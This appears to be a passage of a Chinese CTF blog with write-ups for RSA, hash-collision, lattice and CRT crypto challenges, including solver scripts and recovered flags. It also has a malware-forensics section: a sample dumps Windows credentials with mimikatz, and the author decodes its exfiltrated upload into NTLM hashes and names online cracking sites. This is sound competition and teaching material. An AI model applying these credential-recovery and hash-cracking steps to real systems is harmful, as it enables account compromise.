    if debug:
221
        print("LLL is done!")
222

223
    # transform vector i & j -> polynomials 1 & 2
224
    if debug:
225
        print("looking for independent vectors in the lattice")
226
    found_polynomials = False
227

228
    for pol1_idx in range(nn - 1):
229
        for pol2_idx in range(pol1_idx + 1, nn):
230
            # for i and j, create the two polynomials
231
            PR.<w,z> = PolynomialRing(ZZ)
232
            pol1 = pol2 = 0
233
            for jj in range(nn):
234
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
235
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)
236

237
            # resultant
238
            PR.<q> = PolynomialRing(ZZ)
239
            rr = pol1.resultant(pol2)
240

241
            # are these good polynomials?
242
            if rr.is_zero() or rr.monomials() == [1]:
243
                continue
244
            else:
245
                # print("found them, using vectors", pol1_idx, "and", pol2_idx)
246
                found_polynomials = True
247
                break
248
        if found_polynomials:
249
            break
250

251
    if not found_polynomials:
252
        # print("no independant vectors could be found. This should very rarely happen...")
253
        return 0, 0
254

255
    rr = rr(q, q)
256

257
    # solutions
258
    soly = rr.roots()
259

260
    if len(soly) == 0:
261
        # print("Your prediction (delta) is too small")
262
        return 0, 0
263

264
    soly = soly[0][0]
265
    ss = pol1(q, soly)
266
    solx = ss.roots()[0][0]
267

268
    #
269
    return solx, soly
270

271

272
delta = .271  # this means that d < N^delta
273
m = 8  # size of the lattice (bigger the better/slower)
274
t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May
275
X = 2 * floor(N ^ delta)  # this _might_ be too much
276
Y = floor(N ^ (1 / 2))  # correct if p, q are ~ same size
277
P.<x,y> = PolynomialRing(ZZ)
278
A = int((N + 1) / 2)
279
pol = 1 + x * (A + y)
280

281
solx, soly = boneh_durfee(pol, e, m, t, X, Y)
282

283
d = int(pol(solx, soly) / e)
284
print(d)
285
m = power_mod(c, d, N)
286
print(long_to_bytes(m))

展开收起

2024-ccbciscn

Mon, 16 Dec 2024 00:00:00 GMT

12.15 ciscn&“长城杯”铁人三项部分题解#

前言#

做出来的两道密码到最后都只有五十分了（悲）

先把做出来的题分析一下，之后有时间了把剩下两道密码题补一下。

rasnd#

一开始看标题以为是什么随机数（？），折腾老半天

题目内容：#

怎么全是114514啊，他有什么用呢

题目附件：#

1
from Crypto.Util.number import getPrime, bytes_to_long
2
from random import randint
3
import os
4

5
FLAG = os.getenv("FLAG").encode()
6
flag1 = FLAG[:15]
7
flag2 = FLAG[15:]
8

9
def crypto1():
10
    p = getPrime(1024)
11
    q = getPrime(1024)
12
    n = p * q
13
    e = 0x10001
14
    x1=randint(0,2**11)
15
    y1=randint(0,2**114)
16
    x2=randint(0,2**11)
17
    y2=randint(0,2**514)
18
    hint1=x1*p+y1*q-0x114
19
    hint2=x2*p+y2*q-0x514
20
    c = pow(bytes_to_long(flag1), e, n)
21
    print(n)
22
    print(c)
23
    print(hint1)
24
    print(hint2)
25

26

27
def crypto2():
28
    p = getPrime(1024)
29
    q = getPrime(1024)
30
    n = p * q
31
    e = 0x10001
32
    hint = pow(514*p - 114*q, n - p - q, n)
33
    c = pow(bytes_to_long(flag2),e,n)
34
    print(n)
35
    print(c)
36
    print(hint)
37
print("==================================================================")
38
crypto1()
39
print("==================================================================")
40
crypto2()
41
print("==================================================================")

展开收起

其实是很简单的解方程

Part.1#

{h1=x1p+y1q−0x114h2=x2p+y2q−0x514n=pq\left\{\begin{matrix} h_1 &=& x_1 p + y_1 q - \text{0x114}\\ h_2 &=& x_2 p + y_2 q - \text{0x514}\\ n &=& pq \end{matrix}\right.⎩⎨⎧h1h2n===x1p+y1q−0x114x2p+y2q−0x514pq

333 个方程，666 未知元 (x1,x2x_1, x_2x1,x2 可爆破，y1y_1y1 难以爆破，y2,p,qy_2, p,qy2,p,q 不可爆破)

直接解肯定是不行的，得想想办法

最开始想直接碰撞 x1=x2x_1 = x_2x1=x2 的情况来着，但是下发的容器太慢了，跟有工作量证明一样慢（

尝试消元

先记 h1′=h1+0x114,h2′=h2+0x514h_1' = h_1 + \text{0x114}, h_2' = h_2 + \text{0x514}h1′=h1+0x114,h2′=h2+0x514

感觉像做齐次化一样：

{x2h1′=x2x1p+x2y1qx1h2′=x1x2p+x1y2q\left\{\begin{matrix} x_2 h_1' &=& x_2 x_1 p + x_2 y_1 q\\ x_1 h_2' &=& x_1 x_2 p + x_1 y_2 q\\ \end{matrix}\right.{x2h1′x1h2′==x2x1p+x2y1qx1x2p+x1y2q

这样就好办了

x2h1′−x1h2′=(x2y1−x1y2)qq=gcd⁡(n,x2h1′−x1h2′)x_2 h_1' - x_1 h_2' = (x_2 y_1 - x_1 y_2) q\\ q = \gcd(n, x_2 h_1' - x_1 h_2')x2h1′−x1h2′=(x2y1−x1y2)qq=gcd(n,x2h1′−x1h2′)

1
def solve1():
2
    n = int(r.recvline().decode().strip())
3
    c = int(r.recvline().decode().strip())
4
    hint1 = int(r.recvline().decode().strip())
5
    hint2 = int(r.recvline().decode().strip())
6
    hint1 += 0x114
7
    hint2 += 0x514
8
    for x1 in tqdm(range(0, 2**11)):
9
        for x2 in range(0, 2**11):
10
            q = gcd(hint2*x1 - hint1*x2, n)
11
            p = n // q
12
            if p != 1 and q != 1:
13
                print("p =", p)
14
                print("q =", q)
15
                print("n =", n)
16
                phi = (p-1)*(q-1)
17
                d = int(pow(0x10001, -1, phi))
18
                m = int(pow(c, d, n))
19
                flag1 = long_to_bytes(m)
20
                print(flag1)
21
                return flag1

展开收起

Part.2#

关键是 hint = pow(514*p - 114*q, n - p - q, n)

h=(514p−114q)n−p−qmod nh = (514p-114q)^{n-p-q} \mod{n}h=(514p−114q)n−p−qmodn

注意到

n−p−q=φ(n)−1n-p-q= \varphi(n) - 1n−p−q=φ(n)−1

则根据欧拉定理有

h≡(514p−114q)n−p−q(modn)h≡(514p−114q)φ(n)−1(modn)h≡(514p−114q)−1(modn)514p−114q≡h−1(modn)h \equiv (514p-114q)^{n-p-q} \pmod{n}\\ h \equiv (514p-114q)^{\varphi(n) - 1} \pmod{n}\\ h \equiv (514p-114q)^{-1} \pmod{n}\\ 514p-114q \equiv h^{-1} \pmod{n} h≡(514p−114q)n−p−q(modn)h≡(514p−114q)φ(n)−1(modn)h≡(514p−114q)−1(modn)514p−114q≡h−1(modn)

联立 n=pqn = pqn=pq 解之

1
def solve2():
2
    # problem 2
3
    n = int(r.recvline().decode().strip())
4
    c = int(r.recvline().decode().strip())
5
    hint = int(r.recvline().decode().strip())
6

7
    koiship_114q = int(pow(hint, -1, n))
8

9
    print(koiship_114q)
10
    p, q = var('p q')
11

12
    equ = [koiship_114q - 514*p+114*q, p*q - n]
13

14
    res = solve([*equ], p, q)
15
    print(res)
16

17
    p = res[0][0].right()
18
    q = res[0][1].right()
19
    assert n == p * q
20

21
    d = int(pow(0x10001, -1, n - p - q + 1))
22
    m = int(pow(c, d, n))
23
    print(long_to_bytes(m))
24
    return long_to_bytes(m)

展开收起

完整脚本：

1
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
2
from random import randint
3
import os
4
from gmpy2 import gcd
5
from tqdm import tqdm
6
from Pwn4Sage.pwn import * # 为什么 sagemath 不能直接用 pwntools 啊 QAQ
7

8

9
def solve1():
10
    n = int(r.recvline().decode().strip())
11
    c = int(r.recvline().decode().strip())
12
    hint1 = int(r.recvline().decode().strip())
13
    hint2 = int(r.recvline().decode().strip())
14
    hint1 += 0x114
15
    hint2 += 0x514
16
    for x1 in tqdm(range(0, 2**11)):
17
        for x2 in range(0, 2**11):
18
            q = gcd(hint2*x1 - hint1*x2, n)
19
            p = n // q
20
            if p != 1 and q != 1:
21
                print("p =", p)
22
                print("q =", q)
23
                print("n =", n)
24
                phi = (p-1)*(q-1)
25
                d = int(pow(0x10001, -1, phi))
26
                m = int(pow(c, d, n))
27
                print(long_to_bytes(m))
28
                return long_to_bytes(m)
29

30
def solve2():
31
    # problem 2
32
    n = int(r.recvline().decode().strip())
33
    c = int(r.recvline().decode().strip())
34
    hint = int(r.recvline().decode().strip())
35

36
    koiship_114q = int(pow(hint, -1, n))
37

38
    print(koiship_114q)
39
    p, q = var('p q')
40

41
    equ = [koiship_114q - 514*p+114*q, p*q - n]
42

43
    res = solve([*equ], p, q)
44
    print(res)
45

46
    p = res[0][0].right()
47
    q = res[0][1].right()
48
    assert n == p * q
49

50
    d = int(pow(0x10001, -1, n - p - q + 1))
51
    m = int(pow(c, d, n))
52
    print(long_to_bytes(m))
53
    return long_to_bytes(m)
54

55
r = remote("39.105.45.179", 28774)
56
print(r.recvline())
57
flag1 = solve1()
58
print(r.recvline())
59
flag2 = solve2()
60
flag = flag1 + flag2
61
print(flag)
62
r.close()
63

64
# [94m[INFO][0m Connected to 39.105.45.179:28774
65
# b'==================================================================\n'
66
#  79%|███████▉  | 1622/2048 [01:00<00:15, 26.66it/s]p = 113931722055442701446227924225349342923035624336145681834183562625057779377412924188573492959081360857781622186384116214966258654184221455843401118314188230036225081356507628890053642334996763558081421549633854635489449005191128321348912176542344609801537585688185055218829569712481850220492418068455562521829
67
# q = 149687346278749733067771297796945134099573873882567708652528570721488495821734755104637927800569308648962222037872291706921428733233538343781900144390625108429477113911807232022408337280198004423317446408070180889503468830562635209615088067864562884988577416076468399790923049267827295132481119445792416795149
68
# n = 17054137131447319945462384577254586097818250280780440320505467706897381254398747857859611806051972107698572439639775195808276084624856874341810622198050944075029080669224262914186173634532945387572640585931189004598187516938998086186995618166426870493457572040586964035600503428663382122178741406778161779710515037520476192110503002807973029096714007655422047760141304087057135939835116788750148377067980861167227866440162107916225595534428842407827591690743865754799172493177485957066320753065436091614874565684831073947206929492837357883825511923747732779932353056073142795755044524329528614552186610574732533807521
69
# b'flag{ee62271a-b54b-'
70
# b'==================================================================\n'
71
# 35610761698930940955771524558264010431522232657139038026752170697961012150702331649488019804859068437215686128408212178056949158912363869075711016212204864344389859925409597955876297487978180421187133658719883091149063748060508765695828722993056359306928172621966424898685428613654429194960129005375870671933276
72
# [
73
# [p == 91296421208611922009772689366803267564928168341171916989523970204539467723847488273321200980271550391186875290590716338929702908310241534732665172498948370179431797142127466879844213504727818818087679198845566652075146859497667657189899764407074267181251805245319917664997604618612003883760286995861012937971, q == 99259638616627955765365243651516395586410928686169537770729385852388370696098923885956820166671126875915506762766807194323843297886844559446305986423285946735421787768806315968102002223262442555350293416550334807171594190537652720173506630808594859861712765562526427904590703160632814046426829039444648931437],
74
# [p == (-5657799401147793478625818888136434548425422935111663652931574993586137129677638661499538749500254231927183885477708010076459067979550139888439441226127298963919041902821960010181814126725959225654966724743369084008780868860646205049889877956089907012117627637064006390561670080156070400646329255248344989091909/257), q == (-23463180250613263956511581167268439764186539263681182666307660342566643205028804486243548651929788450535026949681814099104933647435732074426294949332229731136113971865526758988119962870715049436248533554103310629583312742890900587897804239452618086665581713948047218839904384386983284998126393757936280325058547/57)]
75
# ]
76
# b'468f-87e0-78730eebf8b2}'
77
# b'flag{ee62271a-b54b-468f-87e0-78730eebf8b2}'
78
# [94m[INFO][0m Connection closed

展开收起

fffffhash#

题目内容#

听说hash函数不可逆？我不信

题目附件#

1
import os
2
from Crypto.Util.number import *
3
def giaogiao(hex_string):
4
  base_num = 0x6c62272e07bb014262b821756295c58d
5
  x = 0x0000000001000000000000000000013b
6
  MOD = 2**128
7
  for i in hex_string:
8
    base_num = (base_num * x) & (MOD - 1)
9
    base_num ^= i
10
  return base_num
11

12

13
giao=201431453607244229943761366749810895688
14

15
print("1geiwoligiaogiao")
16
hex_string = int(input(),16)
17
s = long_to_bytes(hex_string)
18

19
if giaogiao(s) == giao:
20
  print(os.getenv('FLAG'))
21
else:
22
  print("error")

展开收起

解题#

本题要实现一个哈希碰撞

经过查询魔数，可以搜到这个先乘再异或是一种 FNV hash

参考 https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/fnv/solve/solution_joseph_LLL.sage

每一步的异或，都可以等价为加减某个数，因此可以写出式子

G⊕r=G±sG \oplus r = G \pm sG⊕r=G±s

其中 r,sr, sr,s 都是小量，满足

⌈lg⁡rmax⌉=⌈lg⁡smax⌉=⌈lg⁡28⌉=8\left \lceil \lg r_{max} \right \rceil = \left \lceil \lg s_{max} \right \rceil = \left \lceil \lg 2^{8} \right \rceil = 8⌈lgrmax⌉=⌈lgsmax⌉=⌈lg28⌉=8

可以构造多项式

TargetHash=Hash0pn+s0pn−1+s1pn−2+s2pn−3+⋯+sn−2p1+sn−1p0=Hash0pn+∑i=0n−1sipn−1−iTargetHash = Hash_0 p^n + s_0 p^{n-1} + s_1 p^{n-2} + s_2 p^{n-3} + \cdots + s_{n-2} p^{1} + s_{n-1} p^{0} = Hash_0 p^n + \sum _{i=0}^{n-1} s_i p^{n-1-i}TargetHash=Hash0pn+s0pn−1+s1pn−2+s2pn−3+⋯+sn−2p1+sn−1p0=Hash0pn+i=0∑n−1sipn−1−i

构造格

[s0,s1,s2,⋯ ,sn−2,sn−1,1,k][pn−11pn−21pn−31⋮⋱p11p01h0pn−t1N000⋯000]=[0,s0,s1,⋯ ,sn−3,sn−2,sn−1,1]\begin{bmatrix} s_0, s_1, s_2, \cdots, s_{n-2}, s_{n-1}, 1, k \end{bmatrix} \begin{bmatrix} p^{n-1} & 1 & & & & & & \\ p^{n-2} & & 1 & & & & & \\ p^{n-3} & & & 1 & & & & \\ \vdots & & & & \ddots & & & \\ p^{1} & & & & & 1 & &\\ p^{0} & & & & & & 1 &\\ h_0p^n - t & & & & & & & 1 & \\ N & 0 & 0 & 0 & \cdots & 0 & 0 & 0 & \end{bmatrix} = \begin{bmatrix} 0, s_0, s_1, \cdots, s_{n-3}, s_{n-2}, s_{n-1}, 1 \end{bmatrix}[s0,s1,s2,⋯,sn−2,sn−1,1,k]pn−1pn−2pn−3⋮p1p0h0pn−tN101010⋱⋯101010=[0,s0,s1,⋯,sn−3,sn−2,sn−1,1]

1
TARGET = 201431453607244229943761366749810895688
2
h0 = 0x6c62272e07bb014262b821756295c58d
3
p = 0x0000000001000000000000000000013b
4
MOD = 2^128
5

6
n = len("1geiwoligiaogiao")
7
M = Matrix.column([p^(n - i - 1) for i in range(n)] + [-(TARGET - h0*p^n), MOD])
8
M = M.augment(identity_matrix(n+1).stack(vector([0] * (n+1))))
9
Q = Matrix.diagonal([2^128] + [2^4] * n + [2^8]) # 这里进行了一点缩放，实测去掉不影响
10
M *= Q
11
M = M.BKZ()
12
M /= Q
13
for r in M:
14
    if r[0] == 0 and abs(r[-1]) == 1:
15
        r *= r[-1]
16
        good = r[1:-1]
17
        print(good)
18
        break
19
inp = []
20
y = int(h0*p)
21
t = (h0*p^n + good[0] * p^(n-1)) % MOD
22
for i in range(n):
23
    for x in range(256):
24
        y_ = (int(y) ^^ int(x)) * p^(n-i-1) % MOD
25
        if y_ == t:
26
            print('good', i, x)
27
            inp.append(x)
28
            if i < n-1:
29
                t = (t + good[i+1] * p^(n-i-2)) % MOD
30
                y = ((int(y) ^^ int(x)) * p) % MOD
31
            break
32
    else:
33
        print('bad', i)
34
print(bytes(inp).hex())

展开收起

格基规约后再把 + 转为 ^ 即可

Kiwi#

很有意思的题（因为是唯一拿到的高分题目）

给了一段流量包和病毒样本，解密 Windows 密码

感谢我们的逆向大神，tql！

IDA：

image-20241216143504496

程序首先隐藏了自己的窗口，使用 mimikatz 来获取 SAM 等敏感信息，加密后通过 upload 函数上传，上传流量可以在流量包附件中查看。

流量包中有超级多的请求，导致一开始分析了老半天上传方式。只找到一个可疑的流量包

image-20241216144139488

1
l1Mvs8wZ1LI/v3Vup1zF8bzdp1B51zz0e0xdfIXNBQMOe1wFEg+Z03ljczfC1qGdp0Y6bWnJ7rUqnQrZmVT9nFPRXqYpURBxuBKInjI5Q2xVgs56q4VRCQWbiyv00Aw7D0CKEotHSy6sQAC1x3T9wDx6xPCioqx/0nwNgrvJnF1Oq7NFZsVpnAxaZC5BVfKSEttFPjYgv3uSfmtxeJg7pPCHmJ8qf/Sd7W7n3gKSB2BELb==

像一段 base64，但实际上解不出来任何东西

通过瞎翻 IDA，发现上传数据前，先进行了一段加密，再进行了换表 base64 编码

1734331451903

base64 表

表：d+F3DwWj8tUckVGZb57S1XsLqfm0vnpeMEzQ2Bg/PTrohxluiJCRIYAyH6N4aKO9

像我这种不熟悉逆向和 IDA 的 crypto 手来说，我一开始就是没看出来这个表是从 64h 开始而非从 28h 开始的（

加密后会在下一个函数中上传数据

1734331925670

到这里差不多就理清了，解换表 base64 后再解密

解换表

1
# By MetaMiku
2
import base64
3

4
enc = "l1Mvs8wZ1LI/v3Vup1zF8bzdp1B51zz0e0xdfIXNBQMOe1wFEg+Z03ljczfC1qGdp0Y6bWnJ7rUqnQrZmVT9nFPRXqYpURBxuBKInjI5Q2xVgs56q4VRCQWbiyv00Aw7D0CKEotHSy6sQAC1x3T9wDx6xPCioqx/0nwNgrvJnF1Oq7NFZsVpnAxaZC5BVfKSEttFPjYgv3uSfmtxeJg7pPCHmJ8qf/Sd7W7n3gKSB2BELb=="
5
key = "d+F3DwWj8tUckVGZb57S1XsLqfm0vnpeMEzQ2Bg/PTrohxluiJCRIYAyH6N4aKO9"
6
assert len(key) == 64
7

8

9
STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
10
CUSTOM_ALPHABET = key
11
ENCODE_TRANS = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
12
DECODE_TRANS = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
13

14
def encode(input):
15
  return input.translate(ENCODE_TRANS)
16

17
def decode(input):
18
  return input.translate(DECODE_TRANS)
19

20

21
b64 = decode(enc)
22
print(b64)
23
# uUgcWIFPUX0ncDNveUiCIQiAeUlRUiibfbtAZ0V6ljg+fUFChmBPbDuHLiZyUYOAeb15QGdxSqKYdjqPaNp/dCozVY1eKzltvl90dH0RjktNmWR5Y7NzyjGQw3cbb2FSEby9hrJ4T35Wj2yUtDp/FEt5toywrYtnbdF6mqcxdCU+YS6CPWNed2t8PyRlNZ9ThJJCoH1mcDvTZaJtfxmSeoy4axIYZnTASGSdDm9TlklhXQ==
24

25
hex = ', '.join([hex(b) for b in base64.b64decode(b64)])
26
print(hex)
27
# 0xb9, 0x48, 0x1c, 0x58, 0x81, 0x4f, 0x51, 0x7d, 0x27, 0x70, 0x33, 0x6f, 0x79, 0x48, 0x82, 0x21, 0x8, 0x80, 0x79, 0x49, 0x51, 0x52, 0x28, 0x9b, 0x7d, 0xbb, 0x40, 0x67, 0x45, 0x7a, 0x96, 0x38, 0x3e, 0x7d, 0x41, 0x42, 0x86, 0x60, 0x4f, 0x6c, 0x3b, 0x87, 0x2e, 0x26, 0x72, 0x51, 0x83, 0x80, 0x79, 0xbd, 0x79, 0x40, 0x67, 0x71, 0x4a, 0xa2, 0x98, 0x76, 0x3a, 0x8f, 0x68, 0xda, 0x7f, 0x74, 0x2a, 0x33, 0x55, 0x8d, 0x5e, 0x2b, 0x39, 0x6d, 0xbe, 0x5f, 0x74, 0x74, 0x7d, 0x11, 0x8e, 0x4b, 0x4d, 0x99, 0x64, 0x79, 0x63, 0xb3, 0x73, 0xca, 0x31, 0x90, 0xc3, 0x77, 0x1b, 0x6f, 0x61, 0x52, 0x11, 0xbc, 0xbd, 0x86, 0xb2, 0x78, 0x4f, 0x7e, 0x56, 0x8f, 0x6c, 0x94, 0xb4, 0x3a, 0x7f, 0x14, 0x4b, 0x79, 0xb6, 0x8c, 0xb0, 0xad, 0x8b, 0x67, 0x6d, 0xd1, 0x7a, 0x9a, 0xa7, 0x31, 0x74, 0x25, 0x3e, 0x61, 0x2e, 0x82, 0x3d, 0x63, 0x5e, 0x77, 0x6b, 0x7c, 0x3f, 0x24, 0x65, 0x35, 0x9f, 0x53, 0x84, 0x92, 0x42, 0xa0, 0x7d, 0x66, 0x70, 0x3b, 0xd3, 0x65, 0xa2, 0x6d, 0x7f, 0x19, 0x92, 0x7a, 0x8c, 0xb8, 0x6b, 0x12, 0x18, 0x66, 0x74, 0xc0, 0x48, 0x64, 0x9d, 0xe, 0x6f, 0x53, 0x96, 0x49, 0x61, 0x5d

展开收起

解密

1
// By txpoki
2
#include <stdio.h>
3
#include <stdlib.h>
4
int main(int argc, char const *argv[])
5
{
6
    char  input[] ={0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d};
7
    char output[180] = {};
8
    int v6 = 0,v8 = 1,v5 = 0x46,v7 = 0;
9
    char byte_140111152[] = "ixedSeed";
10
 do
11
  {
12
    v6 = (v6 + v8 * v5) % 256;
13
    v5 = byte_140111152[v7++];                  // ixedSeed
14
    ++v8;
15
  }
16
  while ( v5 );
17
    srand(v6);
18
    for (int i = 0; i < 178 ; i++)
19
    {
20
        output[i] = (input[i] - (rand()%128)) ^ v6;
21
    }
22
    for (int i = 0; i < 178; i++)
23
    {
24
        printf("%c",output[i]);
25
    }
26

27
    return 0;
28
}

展开收起

拿到明文

1
User=Administrator
2
NTLM=
3
User=DefaultAccount
4
NTLM=
5
User=Guest
6
NTLM=
7
User=Lihua
8
NTLM=23d1e086b85cc18587bbc8c33adefe07
9
User=WDAGUtilityAccount
10
NTLM=d3280b38985c05214dcc81b74dd98b4f

最后的 NTLM=23d1e086b85cc18587bbc8c33adefe07 找在线网站破解

破解 https://ntlm.pw/

检验 https://www.xdtool.com/ntlm

300分，get (｀・ω・´)

HICTF2024_Crypto_部分题解

Mon, 02 Dec 2024 00:00:00 GMT

前言#

前段时间感觉忙的要死，最近终于算是有了一点空余时间，正好刚打完的 HICTF2024 有一点有意思的点子，正好记录一下

共四题

strhash
poly
supercomputer
potter

解出来前三题

strhash#

gen.c

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdint.h>
4

5
uint64_t str_hash(char *s, uint64_t mod) {
6
    uint64_t res = 0x114514;
7
    for(; *s; s++) {
8
        res *= 233;
9
        res += *s;
10
        res %= mod;
11
    }
12
    return res;
13
}
14

15
int main(void) {
16
    char *flag = getenv("FLAG");
17

18
    for(int x=0; x<=100; x++) {
19
        uint64_t mod = rand();
20
        printf("%lu %lu\n", mod, str_hash(flag, mod));
21
    }
22

23
    return 0;
24
}

展开收起

res.txt

1
1804289383 1190008377
2
846930886 9501214
3
1681692777 742357966
4
1714636915 444438409
5
1957747793 134431161
6
424238335 402721979
7
719885386 270112044
8
1649760492 1155227242
9
596516649 476308501
10
1189641421 1026995005
11
1025202362 369524526
12
1350490027 115768525
13
783368690 128781574
14
1102520059 794945957
15
2044897763 525021698
16
1967513926 1202472002
17
1365180540 718629814
18
1540383426 1527890008
19
304089172 219173622
20
1303455736 72850430
21
35005211 32895570
22
521595368 324916694
23
294702567 183761521
24
1726956429 992055442
25
336465782 47459012
26
861021530 394191254
27
278722862 76296070
28
233665123 202549164
29
2145174067 1745191260
30
468703135 11282359
31
1101513929 1092941761
32
1801979802 393444958
33
1315634022 855060862
34
635723058 557940082
35
1369133069 416017631
36
1125898167 426745258
37
1059961393 866659529
38
2089018456 101422542
39
628175011 274383911
40
1656478042 158353442
41
1131176229 778866802
42
1653377373 1576568200
43
859484421 731620102
44
1914544919 120626132
45
608413784 169934934
46
756898537 58946343
47
1734575198 273830734
48
1973594324 1866382218
49
149798315 84760904
50
2038664370 1847515654
51
1129566413 157937244
52
184803526 150496144
53
412776091 336475073
54
1424268980 129480814
55
1911759956 1720023158
56
749241873 353186023
57
137806862 88508746
58
42999170 1638164
59
982906996 513000390
60
135497281 79014386
61
511702305 389240449
62
2084420925 1708688029
63
1937477084 490818622
64
1827336327 314296213
65
572660336 310139630
66
1159126505 1081657949
67
805750846 738718898
68
1632621729 651390559
69
1100661313 65789714
70
1433925857 933378653
71
1141616124 216772582
72
84353895 17465494
73
939819582 69317806
74
2001100545 946538374
75
1998898814 1321902102
76
1548233367 150257914
77
610515434 529740294
78
1585990364 1061756098
79
1374344043 1144447075
80
760313750 410706104
81
1477171087 966325917
82
356426808 330752134
83
945117276 566296666
84
1889947178 58695214
85
1780695788 1583317062
86
709393584 615812830
87
491705403 466490056
88
1918502651 697630426
89
752392754 542594364
90
1474612399 47749896
91
2053999932 198147682
92
1264095060 943869214
93
1411549676 437802578
94
1843993368 883507846
95
943947739 53460922
96
1984210012 591589678
97
855636226 423196126
98
1749698586 1315862194
99
1469348094 971172988
100
1956297539 729119640
101
1036140795 184356454

展开收起

记得之前做过一道哈希的密码题，当时似乎是用双向搜索给爆出来的，这次显然不一样

学长讲了才看出来（（

将 hash 用多项式表示

hash(s)=0x114514⋅233n+s0⋅233n−1+s1⋅233n−2+⋯+sn−1⋅2330(modMi)hash(s) = \text{0x114514} \cdot 233^{n} + s_0 \cdot 233^{n-1} + s_1 \cdot 233^{n-2} + \cdots + s_{n-1}\cdot233^0 \pmod {M_i}hash(s)=0x114514⋅233n+s0⋅233n−1+s1⋅233n−2+⋯+sn−1⋅2330(modMi)

这样就能看出来，是个 CRT 问题

1
from sympy.ntheory.modular import crt
2
mod = [
3
    1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335,
4
    719885386, 1649760492, 596516649, 1189641421, 1025202362, 1350490027,
5
    783368690, 1102520059, 2044897763, 1967513926, 1365180540, 1540383426,
6
    304089172, 1303455736, 35005211, 521595368, 294702567, 1726956429,
7
    336465782, 861021530, 278722862, 233665123, 2145174067, 468703135,
8
    1101513929, 1801979802, 1315634022, 635723058, 1369133069, 1125898167,
9
    1059961393, 2089018456, 628175011, 1656478042, 1131176229, 1653377373,
10
    859484421, 1914544919, 608413784, 756898537, 1734575198, 1973594324,
11
    149798315, 2038664370, 1129566413, 184803526, 412776091, 1424268980,
12
    1911759956, 749241873, 137806862, 42999170, 982906996, 135497281,
13
    511702305, 2084420925, 1937477084, 1827336327, 572660336, 1159126505,
14
    805750846, 1632621729, 1100661313, 1433925857, 1141616124, 84353895,
15
    939819582, 2001100545, 1998898814, 1548233367, 610515434, 1585990364,
16
    1374344043, 760313750, 1477171087, 356426808, 945117276, 1889947178,
17
    1780695788, 709393584, 491705403, 1918502651, 752392754, 1474612399,
18
    2053999932, 1264095060, 1411549676, 1843993368, 943947739, 1984210012,
19
    855636226, 1749698586, 1469348094, 1956297539, 1036140795
20
]
21
hash = [
22
    1190008377, 9501214, 742357966, 444438409, 134431161, 402721979,
23
    270112044, 1155227242, 476308501, 1026995005, 369524526, 115768525,
24
    128781574, 794945957, 525021698, 1202472002, 718629814, 1527890008,
25
    219173622, 72850430, 32895570, 324916694, 183761521, 992055442,
26
    47459012, 394191254, 76296070, 202549164, 1745191260, 11282359,
27
    1092941761, 393444958, 855060862, 557940082, 416017631, 426745258,
28
    866659529, 101422542, 274383911, 158353442, 778866802, 1576568200,
29
    731620102, 120626132, 169934934, 58946343, 273830734, 1866382218,
30
    84760904, 1847515654, 157937244, 150496144, 336475073, 129480814,
31
    1720023158, 353186023, 88508746, 1638164, 513000390, 79014386,
32
    389240449, 1708688029, 490818622, 314296213, 310139630, 1081657949,
33
    738718898, 651390559, 65789714, 933378653, 216772582, 17465494,
34
    69317806, 946538374, 1321902102, 150257914, 529740294, 1061756098,
35
    1144447075, 410706104, 966325917, 330752134, 566296666, 58695214,
36
    1583317062, 615812830, 466490056, 697630426, 542594364, 47749896,
37
    198147682, 943869214, 437802578, 883507846, 53460922, 591589678,
38
    423196126, 1315862194, 971172988, 729119640, 184356454
39
]
40

41
assert len(mod) == len(hash)
42
res, Mod = crt(mod, hash)
43

44
print(res)
45
res -= 0x114514 * 233 ** 42
46

47
flag = b''
48

49
for i in range(41):
50
    c = res % (233)
51
    res //= 233
52
    flag += bytes([c])
53

54
print(flag)
55
print(flag[::-1])
56

57
# 3038904180309451889298837328685449386951729223201782575312887178624194103003153917723896684610138843289854
58
# b'}07b7f151caf3-62a9-fe34-76e7-6a4baacc{gal'
59
# b'lag{ccaab4a6-7e67-43ef-9a26-3fac151f7b70}'

展开收起

poly#

题目附件

gen.py

1
from secret import flag
2
from functools import reduce
3

4
print(list(map(lambda x: reduce(lambda t, y: t * x + y, flag.encode()), range(len(flag)))))

out.txt

1
